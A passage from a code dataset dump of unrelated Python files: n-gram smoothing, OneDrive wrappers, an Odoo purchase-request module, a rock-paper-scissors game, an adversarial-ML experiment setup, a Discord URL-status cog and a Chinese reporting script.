arr[j+1]:\n arr[j], arr[j+1] = arr[j+1], arr[j]\n\n return arr\n\nif __name__ == \"__main__\":\n array = [7, 8, 5, 1, 3, 9]\n array = bubble_sort(array)\n print(array)\n","sub_path":"classical-algorithms/sort/bubble_sort.py","file_name":"bubble_sort.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"139491731","text":"from __future__ import division\nimport numpy as np\nclass kenser_ney_lp_wb:\n def __init__(self):\n self.bigram_laplace_kn=dict()\n self.trigram_laplace_kn=dict()\n self.bigram_wb_kn=dict()\n self.trigram_wb_kn=dict()\n self.unigram=np.load(\"unigram.dict.npy\").item()\n self.bigram=np.load(\"bigram.dict.npy\").item()\n self.trigram=np.load(\"trigram.dict.npy\").item()\n self.d=0.75\n self.n1w1=np.load(\"n1w1.dict.npy\").item()\n self.n1w2=np.load(\"n1w2.dict.npy\").item()\n self.n1w1w2=np.load(\"n1w1w2.dict.npy\").item()\n self.n1w2w3=np.load(\"n1w2w3.dict.npy\").item()\n self.info=np.load(\"info_kn.dict.npy\").item()\n self.bigram_laplace=np.load(\"bigram_laplace.dict.npy\").item()\n self.trigram_laplace=np.load(\"trigram_laplace.dict.npy\").item()\n self.bigram_wb=np.load(\"bigram_wb.dict.npy\").item()\n self.trigram_wb=np.load(\"trigram_wb.dict.npy\").item()\n\n def bigram_smooth_laplace_kn(self):\n for ngram in self.bigram_laplace:\n self.bigram_laplace_kn[ngram]=(max((self.bigram_laplace[ngram]*self.unigram[ngram[0]])-self.d,0)/self.unigram[ngram[0]])+((self.d/self.unigram[ngram[0]])*self.n1w1[ngram[0]])*(self.n1w2[ngram[1]]/self.info[\"n1w2s\"])\n\n def trigram_smooth_laplace_kn(self):\n nbt=len(self.bigram_laplace)\n for ngram in self.trigram_laplace:\n tup=(ngram[0],ngram[1])\n tup1=(ngram[1],ngram[2])\n self.trigram_laplace_kn[ngram]=(max((self.trigram_laplace[ngram]*self.bigram[tup])-self.d,0)/self.bigram[tup]) + self.d*(self.n1w1w2[tup]/self.bigram[tup])*((max(self.n1w2w3[tup1]-self.d,0)/self.n1w2[ngram[1]]) + self.d*(self.n1w1[ngram[1]]/self.n1w2[ngram[1]])*(self.n1w2[ngram[2]]/nbt))\n\n def bigram_smooth_wb_kn(self):\n for ngram in self.bigram_wb:\n self.bigram_wb_kn[ngram]=(max((self.bigram_wb[ngram]*self.unigram[ngram[0]])-self.d,0)/self.unigram[ngram[0]])+((self.d/self.unigram[ngram[0]])*self.n1w1[ngram[0]])*(self.n1w2[ngram[1]]/self.info[\"n1w2s\"])\n\n def trigram_smooth_wb_kn(self):\n nbt=len(self.bigram_laplace)\n for ngram in self.trigram_wb:\n tup=(ngram[0],ngram[1])\n tup1=(ngram[1],ngram[2])\n self.trigram_wb_kn[ngram]=(max((self.trigram_wb[ngram]*self.bigram[tup])-self.d,0)/self.bigram[tup]) + self.d*(self.n1w1w2[tup]/self.bigram[tup])*((max(self.n1w2w3[tup1]-self.d,0)/self.n1w2[ngram[1]]) + self.d*(self.n1w1[ngram[1]]/self.n1w2[ngram[1]])*(self.n1w2[ngram[2]]/nbt))\n","sub_path":"codes/kenser_ney_lap_wb.py","file_name":"kenser_ney_lap_wb.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"148111021","text":"\nfrom .. import File, Folder\n\n\nclass OnedriveFile(File):\n def __init__(self, odrive, id, path):\n super().__init__(odrive, path)\n self.id = id\n\n self._odrive = odrive._odrive\n\n @classmethod\n def from_metadata(cls, odrive, meta):\n path = meta.parent_reference.path+'/'+meta.name\n path = path[12:] # strip the \"/drive/root:\"\n return cls(odrive, meta.id, path)\n\n\nclass OnedriveFolder(Folder):\n def __init__(self, odrive, id, path):\n super().__init__(odrive, path)\n self.id = id\n\n self._odrive = odrive._odrive\n\n @classmethod\n def from_metadata(cls, odrive, meta):\n path = meta.parent_reference.path+'/'+meta.name\n path = path[12:] # strip the \"/drive/root:\"\n return cls(odrive, meta.id, path)\n\n @property\n def children(self):\n files = self._odrive.item(id=self.id).children.get()\n return [file_or_folder_from_metadata(self.host, meta) for meta in files]\n\n def _upload(self, data, name):\n sender = self._odrive.item(drive='me', id=self.id).children[name]\n sender.method = \"PUT\"\n resp = sender.send(data=data)\n file = Item(json.loads(resp.content))\n return OnedriveFile.from_metadata(self.host, file)\n\n\ndef file_or_folder_from_metadata(odrive, meta):\n if meta.file is None:\n return OnedriveFolder.from_metadata(odrive, meta)\n return OnedriveFile.from_metadata(odrive, meta)\n","sub_path":"webdrives/UNUSED/onedrive_sdk/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"66243072","text":"# -*- coding: utf-8 -*-\r\n# Copyright 2016 Eficent Business and IT Consulting Services S.L.\r\n# License LGPL-3.0 or later (http://www.gnu.org/licenses/lgpl-3.0).\r\n\r\nfrom odoo import api, fields, models, _ , SUPERUSER_ID\r\nfrom odoo.addons import decimal_precision as dp\r\nfrom datetime import datetime\r\nfrom odoo.tools import DEFAULT_SERVER_DATETIME_FORMAT\r\nfrom odoo.exceptions import UserError\r\nfrom odoo.tools.float_utils import float_compare, float_is_zero, float_round\r\nfrom odoo.tools.misc import format_date\r\n\r\n_STATES = [\r\n ('draft', 'Draft'),\r\n ('to_approve', 'To be approved'),\r\n ('leader_approved', 'HOD Approved'),\r\n ('manager_approved', 'Procurement Approved'),\r\n ('rejected', 'Rejected'),\r\n ('done', 'Done')\r\n]\r\n\r\n\r\nclass SprogroupPurchaseRequest(models.Model):\r\n\r\n _name = 'sprogroup.purchase.request'\r\n _description = 'Sprogroup Purchase Request'\r\n _inherit = ['mail.thread']\r\n\r\n\r\n @api.model\r\n def _get_default_requested_by(self):\r\n return self.env['res.users'].browse(self.env.uid)\r\n\r\n @api.model\r\n def _get_default_name(self):\r\n return self.env['ir.sequence'].next_by_code('sprogroup.purchase.request')\r\n\r\n name = fields.Char('Request Name', size=32, required=True, track_visibility='onchange')\r\n code = fields.Char('Code', size=32, required=True, default=_get_default_name, track_visibility='onchange', copy=False)\r\n date_start = fields.Date('Start date',\r\n help=\"Date when the user initiated the request.\",\r\n default=fields.Date.context_today,\r\n track_visibility='onchange')\r\n end_start = fields.Date('End date',default=fields.Date.context_today,\r\n track_visibility='onchange')\r\n requested_by = fields.Many2one('res.users',\r\n 'Requested by',\r\n required=True,\r\n track_visibility='onchange',\r\n default=_get_default_requested_by)\r\n assigned_to = fields.Many2one('res.users', 'Approver', required=True,\r\n track_visibility='onchange')\r\n description = fields.Text('Description')\r\n\r\n line_ids = fields.One2many('sprogroup.purchase.request.line', 'request_id',\r\n 'Products to Purchase',\r\n readonly=False,\r\n copy=True,\r\n track_visibility='onchange')\r\n state = fields.Selection(selection=_STATES,\r\n string='Status',\r\n index=True,\r\n track_visibility='onchange',\r\n required=True,\r\n copy=False,\r\n default='draft')\r\n po_count = fields.Integer(compute='_cumpute_po_count')\r\n\r\n def _cumpute_po_count(self):\r\n for request in self:\r\n request.po_count = self.env['purchase.order'].search_count([('sprogroup_purchase_request_id', '=', request.id)])\r\n\r\n def action_open_purchase(self):\r\n return {\r\n 'name': _('Purchase Order'),\r\n 'view_type': 'form',\r\n 'view_mode': 'tree,form',\r\n 'res_model': 'purchase.order',\r\n 'view_id': False,\r\n 'type': 'ir.actions.act_window',\r\n 'domain': [('sprogroup_purchase_request_id', 'in', self.ids)],\r\n }\r\n\r\n @api.returns('self', lambda value: value.id)\r\n def copy(self, default=None):\r\n self.ensure_one()\r\n if default is None:\r\n default = {}\r\n if not default.get('name'):\r\n default.update(name=_('%s (copy)') % (self.name))\r\n return super(SprogroupPurchaseRequest, self).copy(default)\r\n\r\n\r\n @api.onchange('state')\r\n def onchange_state(self):\r\n assigned_to = None\r\n if self.state:\r\n if (self.requested_by.id == False):\r\n self.assigned_to = None\r\n return\r\n\r\n employee = self.env['hr.employee'].search([('work_email', '=', self.requested_by.email)])\r\n if(len(employee) > 0):\r\n if(employee[0].department_id and employee[0].department_id.manager_id):\r\n assigned_to = employee[0].department_id.manager_id.user_id\r\n\r\n self.assigned_to = assigned_to\r\n\r\n #@api.one\r\n @api.depends('requested_by')\r\n def _compute_department(self):\r\n if (self.requested_by.id == False):\r\n self.department_id = None\r\n return\r\n\r\n employee = self.env['hr.employee'].search([('work_email', '=', self.requested_by.email)])\r\n if (len(employee) > 0):\r\n self.department_id = employee[0].department_id.id\r\n else:\r\n self.department_id = None\r\n\r\n department_id = fields.Many2one('hr.department', string='Department', compute='_compute_department', store=True,)\r\n\r\n #@api.one\r\n @api.depends('state')\r\n def _compute_can_leader_approved(self):\r\n current_user_id = self.env.uid\r\n if(self.state == 'to_approve' and current_user_id == self.assigned_to.id):\r\n self.can_leader_approved = True\r\n else:\r\n self.can_leader_approved = False\r\n can_leader_approved = fields.Boolean(string='Can Leader approved',compute='_compute_can_leader_approved' )\r\n\r\n #@api.one\r\n @api.depends('state')\r\n def _compute_can_manager_approved(self):\r\n current_user = self.env['res.users'].browse(self.env.uid)\r\n\r\n if (self.state == 'leader_approved' and current_user.has_group('sprogroup_purchase_request.group_sprogroup_purchase_request_manager')):\r\n self.can_manager_approved = True\r\n else:\r\n self.can_manager_approved = False\r\n\r\n can_manager_approved = fields.Boolean(string='Can Manager approved',compute='_compute_can_manager_approved')\r\n\r\n\r\n #@api.one\r\n @api.depends('state')\r\n def _compute_can_reject(self):\r\n self.can_reject = (self.can_leader_approved or self.can_manager_approved)\r\n\r\n can_reject = fields.Boolean(string='Can reject',compute='_compute_can_reject')\r\n\r\n\r\n\r\n #@api.multi\r\n @api.depends('state')\r\n def _compute_is_editable(self):\r\n for rec in self:\r\n if rec.state in ('to_approve', 'leader_approved','manager_approved', 'rejected', 'done'):\r\n rec.is_editable = False\r\n else:\r\n rec.is_editable = True\r\n\r\n is_editable = fields.Boolean(string=\"Is editable\",\r\n compute=\"_compute_is_editable\",\r\n readonly=True)\r\n\r\n @api.model\r\n def create(self, vals):\r\n request = super(SprogroupPurchaseRequest, self).create(vals)\r\n if vals.get('assigned_to'):\r\n request.message_subscribe(partner_ids=[request.assigned_to.partner_id.id])\r\n return request\r\n\r\n #@api.multi\r\n def write(self, vals):\r\n res = super(SprogroupPurchaseRequest, self).write(vals)\r\n for request in self:\r\n if vals.get('assigned_to'):\r\n self.message_subscribe(partner_ids=[request.assigned_to.partner_id.id])\r\n return res\r\n\r\n #@api.multi\r\n def button_draft(self):\r\n self.mapped('line_ids').do_uncancel()\r\n return self.write({'state': 'draft'})\r\n\r\n #@api.multi\r\n def button_to_approve(self):\r\n return self.write({'state': 'to_approve'})\r\n\r\n #@api.multi\r\n def button_leader_approved(self):\r\n return self.write({'state': 'leader_approved'})\r\n\r\n\r\n #@api.multi\r\n def button_manager_approved(self):\r\n return self.write({'state': 'manager_approved'})\r\n\r\n #@api.multi\r\n def button_rejected(self):\r\n self.mapped('line_ids').do_cancel()\r\n return self.write({'state': 'rejected'})\r\n\r\n def button_rejected_hod(self):\r\n self.mapped('line_ids').do_cancel()\r\n return self.write({'state': 'rejected'})\r\n\r\n #@api.multi\r\n def button_done(self):\r\n return self.write({'state': 'done'})\r\n\r\n #@api.multi\r\n def check_auto_reject(self):\r\n \"\"\"When all lines are cancelled the purchase request should be\r\n auto-rejected.\"\"\"\r\n for pr in self:\r\n if not pr.line_ids.filtered(lambda l: l.cancelled is False):\r\n pr.write({'state': 'rejected'})\r\n\r\n #@api.multi\r\n def make_purchase_quotation(self):\r\n view_id = self.env.ref('purchase.purchase_order_form')\r\n\r\n # vals = {\r\n # 'partner_id': partner.id,\r\n # 'picking_type_id': self.rule_id.picking_type_id.id,\r\n # 'company_id': self.company_id.id,\r\n # 'currency_id': partner.property_purchase_currency_id.id or self.env.user.company_id.currency_id.id,\r\n # 'dest_address_id': self.partner_dest_id.id,\r\n # 'origin': self.origin,\r\n # 'payment_term_id': partner.property_supplier_payment_term_id.id,\r\n # 'date_order': purchase_date.strftime(DEFAULT_SERVER_DATETIME_FORMAT),\r\n # 'fiscal_position_id': fpos,\r\n # 'group_id': group\r\n # }\r\n\r\n order_line = []\r\n for line in self.line_ids:\r\n product = line.product_id\r\n fpos = self.env['account.fiscal.position']\r\n if self.env.uid == SUPERUSER_ID:\r\n company_id = self.env.user.company_id.id\r\n taxes_id = fpos.map_tax(line.product_id.supplier_taxes_id.filtered(lambda r: r.company_id.id == company_id))\r\n else:\r\n taxes_id = fpos.map_tax(line.product_id.supplier_taxes_id)\r\n\r\n product_line = (0, 0, {'product_id' : line.product_id.id,\r\n 'state' : 'draft',\r\n 'product_uom' : line.product_id.uom_po_id.id,\r\n 'price_unit' : line.price_unit,\r\n 'analytic_account_id': line.analytic_account_id.id,\r\n 'date_planned' : datetime.today().strftime(DEFAULT_SERVER_DATETIME_FORMAT),\r\n # 'taxes_id' : ((6,0,[taxes_id.id])),\r\n 'product_qty' : line.product_qty,\r\n 'name' : line.name\r\n })\r\n order_line.append(product_line)\r\n\r\n # vals = {\r\n # 'order_line' : order_line\r\n # }\r\n #\r\n # po = self.env['purchase.order'].create(vals)\r\n\r\n \r\n\r\n return {\r\n 'name': _('New Quotation'),\r\n 'type': 'ir.actions.act_window',\r\n 'res_model': 'purchase.order',\r\n 'view_type': 'form',\r\n 'view_mode': 'form',\r\n 'target': 'new',\r\n 'view_id': view_id.id,\r\n 'views': [(view_id.id, 'form')],\r\n 'context': {\r\n 'default_order_line': order_line,\r\n 'default_sprogroup_purchase_request_id': self.id,\r\n 'default_state': 'draft',\r\n 'default_origin': self.name,\r\n }\r\n }\r\nclass PurchaseOrder(models.Model):\r\n\r\n _inherit = \"purchase.order\"\r\n\r\n\r\n sprogroup_purchase_request_id = fields.Many2one('sprogroup.purchase.request', 'Purchase Request ID',\r\n track_visibility='onchange', readonly=True)\r\n \r\n @api.model\r\n def create(self, vals):\r\n rec = super(PurchaseOrder, self).create(vals)\r\n if rec.sprogroup_purchase_request_id:\r\n purchase_message = _(\"PO created from Purchase Request: %s.\") % (rec.sprogroup_purchase_request_id.id, rec.sprogroup_purchase_request_id.name+'-'+rec.sprogroup_purchase_request_id.code)\r\n # rec.message_post(body=_('Statement %s - %s confirmed, items were created.') % (rec.sprogroup_purchase_request_id.name, rec.sprogroup_purchase_request_id.code,))\r\n rec.message_post(body=purchase_message)\r\n request_message = _(\"PO Created : %s\") % (rec.id, rec.name)\r\n rec.sprogroup_purchase_request_id.message_post(body=request_message)\r\n\r\n return rec\r\n \r\n\r\n\r\n\r\nclass SprogroupPurchaseRequestLine(models.Model):\r\n\r\n _name = \"sprogroup.purchase.request.line\"\r\n _description = \"Sprogroup Purchase Request Line\"\r\n _inherit = ['mail.thread']\r\n\r\n #@api.multi\r\n @api.depends('product_id', 'name', 'product_uom_id', 'product_qty',\r\n 'date_required', 'specifications')\r\n\r\n\r\n #@api.multi\r\n def _compute_supplier_id(self):\r\n for rec in self:\r\n if rec.product_id:\r\n if rec.product_id.seller_ids:\r\n rec.supplier_id = rec.product_id.seller_ids[0].name\r\n\r\n product_id = fields.Many2one(\r\n 'product.product', 'Product',\r\n domain=[('purchase_ok', '=', True)], required=True,\r\n track_visibility='onchange')\r\n name = fields.Char('Description', size=256,\r\n track_visibility='onchange')\r\n product_uom_id = fields.Many2one('uom.uom', 'Product Unit of Measure',\r\n track_visibility='onchange')\r\n price_unit = fields.Float(string='Unit Price', required=True, digits='Product Price')\r\n product_qty = fields.Float(string='Quantity', track_visibility='onchange', digits=dp.get_precision('Product Unit of Measure'))\r\n request_id = fields.Many2one('sprogroup.purchase.request',\r\n 'Purchase Request',\r\n ondelete='cascade', readonly=True)\r\n company_id = fields.Many2one('res.company',\r\n string='Company',\r\n store=True, readonly=True)\r\n\r\n analytic_account_id = fields.Many2one(\r\n \"account.analytic.account\", required=True, string=\"Analytic Account\"\r\n )\r\n\r\n requested_by = fields.Many2one('res.users',\r\n related='request_id.requested_by',\r\n string='Requested by',\r\n store=True, readonly=True)\r\n assigned_to = fields.Many2one('res.users',\r\n related='request_id.assigned_to',\r\n string='Assigned to',\r\n store=True, readonly=True)\r\n date_start = fields.Date(related='request_id.date_start',\r\n string='Request Date', readonly=True,\r\n store=True)\r\n end_start = fields.Date(related='request_id.end_start',\r\n string='End Date', readonly=True,\r\n store=True)\r\n description = fields.Text(related='request_id.description',\r\n string='Description', readonly=True,\r\n store=True)\r\n date_required = fields.Date(string='Request Date', required=True,\r\n track_visibility='onchange',\r\n default=fields.Date.context_today)\r\n\r\n specifications = fields.Text(string='Specifications')\r\n request_state = fields.Selection(string='Request state',\r\n readonly=True,\r\n related='request_id.state',\r\n selection=_STATES,\r\n store=True)\r\n supplier_id = fields.Many2one('res.partner',\r\n string='Preferred supplier',\r\n compute=\"_compute_supplier_id\")\r\n\r\n cancelled = fields.Boolean(\r\n string=\"Cancelled\", readonly=True, default=False, copy=False)\r\n\r\n @api.onchange('product_id')\r\n def onchange_product_id(self):\r\n if self.product_id:\r\n name = self.product_id.name\r\n if self.product_id.code:\r\n name = '[%s] %s' % (name, self.product_id.code)\r\n if self.product_id.description_purchase:\r\n name += '\\n' + self.product_id.description_purchase\r\n self.product_uom_id = self.product_id.uom_id.id\r\n self.product_qty = 1\r\n self.name = name\r\n\r\n #@api.multi\r\n def do_cancel(self):\r\n \"\"\"Actions to perform when cancelling a purchase request line.\"\"\"\r\n self.write({'cancelled': True})\r\n\r\n #@api.multi\r\n def do_uncancel(self):\r\n \"\"\"Actions to perform when uncancelling a purchase request line.\"\"\"\r\n self.write({'cancelled': False})\r\n\r\n def _compute_is_editable(self):\r\n for rec in self:\r\n if rec.request_id.state in ('to_approve', 'leader_approved','manager_approved', 'rejected',\r\n 'done'):\r\n rec.is_editable = False\r\n else:\r\n rec.is_editable = True\r\n\r\n is_editable = fields.Boolean(string='Is editable',\r\n compute=\"_compute_is_editable\",\r\n readonly=True)\r\n #@api.multi\r\n def write(self, vals):\r\n res = super(SprogroupPurchaseRequestLine, self).write(vals)\r\n if vals.get('cancelled'):\r\n requests = self.mapped('request_id')\r\n requests.check_auto_reject()\r\n return res\r\n\r\nclass StockPickingin(models.Model):\r\n\r\n _inherit = \"stock.picking\"\r\n\r\n def button_validate(self):\r\n self.ensure_one()\r\n if not self.move_lines and not self.move_line_ids:\r\n raise UserError(_('Please add some items to move.'))\r\n self.check_grn_quantity()\r\n\r\n # Clean-up the context key at validation to avoid forcing the creation of immediate\r\n # transfers.\r\n ctx = dict(self.env.context)\r\n ctx.pop('default_immediate_transfer', None)\r\n self = self.with_context(ctx)\r\n\r\n # add user as a follower\r\n self.message_subscribe([self.env.user.partner_id.id])\r\n\r\n # If no lots when needed, raise error\r\n picking_type = self.picking_type_id\r\n precision_digits = self.env['decimal.precision'].precision_get('Product Unit of Measure')\r\n no_quantities_done = all(float_is_zero(move_line.qty_done, precision_digits=precision_digits) for move_line in\r\n self.move_line_ids.filtered(lambda m: m.state not in ('done', 'cancel')))\r\n no_reserved_quantities = all(\r\n float_is_zero(move_line.product_qty, precision_rounding=move_line.product_uom_id.rounding) for move_line in\r\n self.move_line_ids)\r\n if no_reserved_quantities and no_quantities_done:\r\n raise UserError(_(\r\n 'You cannot validate a transfer if no quantites are reserved nor done. To force the transfer, switch in edit more and encode the done quantities.'))\r\n\r\n if picking_type.use_create_lots or picking_type.use_existing_lots:\r\n lines_to_check = self.move_line_ids\r\n if not no_quantities_done:\r\n lines_to_check = lines_to_check.filtered(\r\n lambda line: float_compare(line.qty_done, 0,\r\n precision_rounding=line.product_uom_id.rounding)\r\n )\r\n\r\n for line in lines_to_check:\r\n product = line.product_id\r\n if product and product.tracking != 'none':\r\n if not line.lot_name and not line.lot_id:\r\n raise UserError(\r\n _('You need to supply a Lot/Serial number for product %s.') % product.display_name)\r\n\r\n # Propose to use the sms mechanism the first time a delivery\r\n # picking is validated. Whatever the user's decision (use it or not),\r\n # the method button_validate is called again (except if it's cancel),\r\n # so the checks are made twice in that case, but the flow is not broken\r\n sms_confirmation = self._check_sms_confirmation_popup()\r\n if sms_confirmation:\r\n return sms_confirmation\r\n\r\n if no_quantities_done:\r\n view = self.env.ref('stock.view_immediate_transfer')\r\n wiz = self.env['stock.immediate.transfer'].create({'pick_ids': [(4, self.id)]})\r\n return {\r\n 'name': _('Immediate Transfer?'),\r\n 'type': 'ir.actions.act_window',\r\n 'view_mode': 'form',\r\n 'res_model': 'stock.immediate.transfer',\r\n 'views': [(view.id, 'form')],\r\n 'view_id': view.id,\r\n 'target': 'new',\r\n 'res_id': wiz.id,\r\n 'context': self.env.context,\r\n }\r\n\r\n if self._get_overprocessed_stock_moves() and not self._context.get('skip_overprocessed_check'):\r\n view = self.env.ref('stock.view_overprocessed_transfer')\r\n wiz = self.env['stock.overprocessed.transfer'].create({'picking_id': self.id})\r\n return {\r\n 'type': 'ir.actions.act_window',\r\n 'view_mode': 'form',\r\n 'res_model': 'stock.overprocessed.transfer',\r\n 'views': [(view.id, 'form')],\r\n 'view_id': view.id,\r\n 'target': 'new',\r\n 'res_id': wiz.id,\r\n 'context': self.env.context,\r\n }\r\n\r\n # Check backorder should check for other barcodes\r\n if self._check_backorder():\r\n return self.action_generate_backorder_wizard()\r\n self.action_done()\r\n return\r\n\r\n\r\n def check_grn_quantity(self):\r\n for picking in self:\r\n for rec in picking.move_ids_without_package:\r\n if rec.quantity_done > rec.product_uom_qty:\r\n raise UserError(\r\n 'GRN Quantity can not be more than PO Quantity ')\r\n return\r\n\r\n","sub_path":"sub/internal/sprogroup_purchase_request/models/sprogroup_purchase_request.py","file_name":"sprogroup_purchase_request.py","file_ext":"py","file_size_in_byte":21931,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"359132124","text":"# -*- coding: utf-8 -*-\n\n#Gaibaibo\n# 0 - Schere\n# 1 - Stein\n# 2 - Papier\n\nimport random\n\n\nclass GaiBaiBo:\n def __init__(self):\n self.number = None\n\n def name_to_number(self, hand):\n if self.hand == \"Schere\":\n self.number = 0\n elif self.hand == \"Stein\":\n self.number = 1\n elif self.hand == \"Papier\":\n self.number = 2\n return self.number\n\n def number_to_name(self, number):\n if number == 0:\n name = \"Schere\"\n elif number == 1:\n name = \"Stein\"\n elif number == 2:\n name = \"Papier\"\n return name\n\n def change_hand(self, new_hand):\n self.hand = new_hand\n\n def play(self):\n # leere Zeile\n print(\"\")\n # Spielerwahl\n print((\"Player:\", self.hand))\n # Name zu Zahl\n player_number = self.name_to_number(self.hand)\n # Randomwahl fuer Computer\n comp_number = random.randrange(0, 3)\n # Zahl zu Name fuer Computer\n comp_choice = self.number_to_name(comp_number)\n # Computerwahl\n print((\"Computer:\", comp_choice))\n # Differenz mit Modulo 3\n #difference_no_mod = (comp_number - player_number)\n difference = (comp_number - player_number) % 3\n # Spielstaende\n print(difference)\n if difference == 0:\n print(\"Unentschieden!\")\n elif difference > 1:\n print(\"Spieler gewinnt!\")\n else:\n print(\"Spieler verliert!\")\n\n# Test:\n#game = GaiBaiBo(\"Schere\")\n#game.change_hand(\"Papier\")\n#game.play()\n#game.change_hand(\"Stein\")\n#game.play()\n#game.change_hand(\"Schere\")\n#game.play()\n","sub_path":"BaiBaiBo.py","file_name":"BaiBaiBo.py","file_ext":"py","file_size_in_byte":1673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"595376510","text":"import warnings\r\n\r\nwarnings.simplefilter(action=\"ignore\", category=FutureWarning)\r\nwarnings.simplefilter(action=\"ignore\", category=DeprecationWarning)\r\n\r\nfrom pathlib import Path\r\nfrom joblib import dump\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nfrom sklearn.preprocessing import MinMaxScaler\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nfrom utils import Datafilter\r\nfrom utils import Pickler\r\nfrom utils import in_out\r\nfrom attacks import venus_constraints\r\n\r\nconfig = in_out.get_parameters()\r\n\r\n\r\ndef run(\r\n DATASET_PATH=config[\"paths\"][\"dataset\"],\r\n MODEL_PATH=config[\"paths\"][\"static_model\"],\r\n SCALER_PATH=config[\"paths\"][\"scaler\"],\r\n X_ATTACK_CANDIDATES_PATH=config[\"paths\"][\"static_x_candidates\"],\r\n TARGET=config[\"target\"],\r\n MODEL_PARAMETERS=config[\"model_parameters\"],\r\n THRESHOLD=config[\"threshold\"],\r\n TRAIN_TEST_DATA_DIR=config[\"dirs\"][\"train_test_data\"],\r\n):\r\n Path(MODEL_PATH).parent.mkdir(parents=True, exist_ok=True)\r\n\r\n data = pd.read_csv(DATASET_PATH)\r\n y = data.pop(TARGET).to_numpy()\r\n X = data.to_numpy()\r\n X_train, X_test, y_train, y_test = train_test_split(X, y, stratify=y)\r\n np.save(\"{}/X_train.npy\".format(TRAIN_TEST_DATA_DIR), X_train)\r\n np.save(\"{}/X_test.npy\".format(TRAIN_TEST_DATA_DIR), X_test)\r\n np.save(\"{}/y_train.npy\".format(TRAIN_TEST_DATA_DIR), y_train)\r\n np.save(\"{}/y_test.npy\".format(TRAIN_TEST_DATA_DIR), y_test)\r\n\r\n # ----- DEFINE, TRAIN AND SAVE CLASSIFIER\r\n\r\n model = RandomForestClassifier(**MODEL_PARAMETERS, verbose=2, n_jobs=-1)\r\n model.fit(X_train, y_train)\r\n y_pred_proba = model.predict_proba(X_test)\r\n y_pred = (y_pred_proba[:, 1] >= THRESHOLD).astype(bool)\r\n model.set_params(verbose=0)\r\n dump(model, MODEL_PATH)\r\n\r\n # ----- SAVE X correctly rejected loans and respecting constraints\r\n\r\n X_test, y_test, y_pred = Datafilter.filter_correct_prediction(\r\n X_test, y_test, y_pred\r\n )\r\n X_test, y_test, y_pred = Datafilter.filter_by_target_class(\r\n X_test, y_test, y_pred, 1\r\n )\r\n X_test = X_test[np.random.permutation(X_test.shape[0])]\r\n\r\n # Removing x that violates constraints\r\n constraints = venus_constraints.evaluate(X_test)\r\n constraints_violated = constraints > 0\r\n constraints_violated = constraints_violated.sum(axis=1).astype(bool)\r\n X_test = X_test[(1 - constraints_violated).astype(bool)]\r\n np.save(X_ATTACK_CANDIDATES_PATH, X_test)\r\n\r\n # ----- Create and save min max scaler\r\n\r\n scaler = MinMaxScaler()\r\n scaler.fit(X)\r\n Pickler.save_to_file(scaler, SCALER_PATH)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n run()\r\n","sub_path":"src/00_prepare_experiments.py","file_name":"00_prepare_experiments.py","file_ext":"py","file_size_in_byte":2672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"197057768","text":"import random\nimport urllib\nimport asyncio\nimport calendar\nfrom discord.ext import commands\nimport discord\n\n\nclass Status(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n self.bot.register_job(60, self.status_update)\n\n @commands.group()\n async def status(self, ctx):\n if ctx.invoked_subcommand is None:\n await ctx.send(\"Ungültiger command!\")\n\n @status.command()\n @commands.has_permissions(manage_channels=True)\n async def setup(self, ctx, name, url):\n with self.bot.db.get(ctx.guild.id) as db:\n db.execute(\"INSERT INTO status (name, url, channelid, status) VALUES (?, ?, ?, ?)\",\n (name, url, ctx.channel.id, self.get_code(url)))\n\n await ctx.message.add_reaction('\\U00002705')\n\n def get_code(self, url):\n try:\n with urllib.request.urlopen(url) as url:\n return url.getcode()\n except urllib.error.HTTPError as err:\n return err.code\n\n def status_update(self):\n for connection in self.bot.db.get_all():\n entries = connection.execute(\"SELECT name, url, channelid, status FROM status\").fetchall()\n for i in entries:\n current_code = self.get_code(i[1])\n if i[3] == current_code:\n continue\n\n with connection:\n connection.execute(\"UPDATE status SET status = ? WHERE url = ?\", (current_code, i[1]))\n\n channel = self.bot.get_channel(i[2])\n\n asyncio.run_coroutine_threadsafe(\n channel.send(\"{} (<{}>) just changed status: `{} -> {}`\".format(i[0], i[1], i[3], current_code)),\n self.bot.loop).result()\n\n\ndef setup(bot):\n bot.add_cog(Status(bot))\n","sub_path":"cogs/status.py","file_name":"status.py","file_ext":"py","file_size_in_byte":1778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"570162090","text":"# -*- coding: UTF-8 -*-\n\"\"\"\n 以2019-12月内蒙国寿活动为模板,生成每日报表\n\"\"\"\n\nimport pandas as pd\nimport time, datetime\nimport send_email\n\nt1 = time.time()\n\n# 调整输出显示\npd.set_option('display.max_columns', None)\npd.set_option('display.max_rows', None)\npd.set_option('display.width', 5000)\n\n# 常参\nTIME = time.strftime('%Y-%m-%d', time.localtime(time.time())) # 当日日期 2019-12-06\nSTART_TIME = '2019-12-10 00:00:00' # 活动开始时间\nPATH = r'C:\\Users\\Healthlink\\Desktop\\日报统计数据\\内蒙国寿\\数据源\\\\'\nprint('今天日期为:', TIME, ' 星期', datetime.datetime.now().isoweekday(), sep='')\n\n# 文件名称\nFILE_sales = r'国寿臻心七十载,庆典钜献福临门营销员会议-' + str(TIME)+ \".csv\"\nFILE_member = r'国寿臻心七十载,庆典钜献福临门会员会议-' + str(TIME)+ \".csv\"\nFILE_sales_info = r'员工列表.csv'\nFILE_card = r'内蒙古卡激活数据提取.xls'\nFILE_error = r'12-10失效报名.xlsx' # 21个报名未关联营销员信息补充表格\n\n# 读取两个会议数据和营销员备案数据\nprint('开始读取...')\ndf_sales = pd.read_csv(PATH + FILE_sales, encoding='utf-8') # 营销员会议\ndf_member = pd.read_csv(PATH + 